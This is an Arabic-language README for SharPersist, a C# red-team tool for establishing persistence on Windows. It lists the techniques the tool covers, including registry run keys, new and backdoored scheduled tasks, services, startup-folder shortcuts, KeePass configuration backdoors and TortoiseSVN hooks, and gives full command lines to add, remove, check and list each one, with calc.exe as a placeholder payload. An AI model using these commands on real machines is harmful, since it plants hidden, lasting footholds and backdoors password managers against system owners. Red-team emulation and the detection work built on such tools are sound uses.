
مجموعة أدوات بلغة C# لإنشاء وإدارة الاستمرارية في نظام ويندوز عبر مفاتيح التسجيل، والمهام المجدولة، والخدمات، ومجلدات بدء التشغيل، وإعدادات KeePass، وخطافات TortoiseSVN.
أداة Windows للاستمرارية مكتوبة بلغة C#. للحصول على معلومات تفصيلية حول استخدام كل تقنية، راجع Wiki.
المؤلف - Brett Hawkins (@h4wkst3r)
اتبع الخطوات أدناه لإعداد Visual Studio من أجل ترجمة المشروع بنفسك. يتطلب ذلك عددًا من مكتبات .NET التي يمكن تثبيتها من مدير حزم NuGet.
تُستخدم مكتبات الطرف الثالث التالية في هذا المشروع.
| Library | URL | License |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - تثبيت باب خلفي في ملف إعدادات KeePassreg - إضافة/تعديل مفتاح التسجيلschtaskbackdoor - تثبيت باب خلفي في مهمة مجدولة بإضافة إجراء إضافي إليهاstartupfolder - ملف lnk في مجلد بدء التشغيلtortoisesvn - برنامج نصي خطاف (hook) لـ Tortoise SVNservice - إنشاء خدمة Windows جديدةschtask - إنشاء مهمة مجدولة جديدةadd - إضافة تقنية استمراريةremove - إزالة تقنية استمراريةcheck - إجراء تشغيل تجريبي (dry-run) لتقنية الاستمراريةlist - سرد الإدخالات الحالية لتقنية الاستمراريةenv - إضافة اختيارية لإخفاء متغيرات البيئة للتسجيلhourly - إضافة اختيارية لتكرار schtaskdaily - إضافة اختيارية لتكرار schtasklogon - إضافة اختيارية لتكرار schtaskhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
التسجيل
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
الباب الخلفي للمهمة المجدولة
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
مجلد بدء التشغيل
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
خدمة Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
المهمة المجدولة
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
التسجيل
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
الباب الخلفي للمهمة المجدولة
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
مجلد بدء التشغيل
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
خدمة Windows
SharPersist -t service -n "Some Service" -m remove
المهمة المجدولة
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
التسجيل
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
الباب الخلفي للمهمة المجدولة
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
مجلد بدء التشغيل
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
خدمة Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
المهمة المجدولة
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
التسجيل
SharPersist -t reg -k "hkcurun" -m list
الباب الخلفي للمهمة المجدولة
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
مجلد بدء التشغيل
SharPersist -t startupfolder -m list
خدمة Windows
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
المهمة المجدولة
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon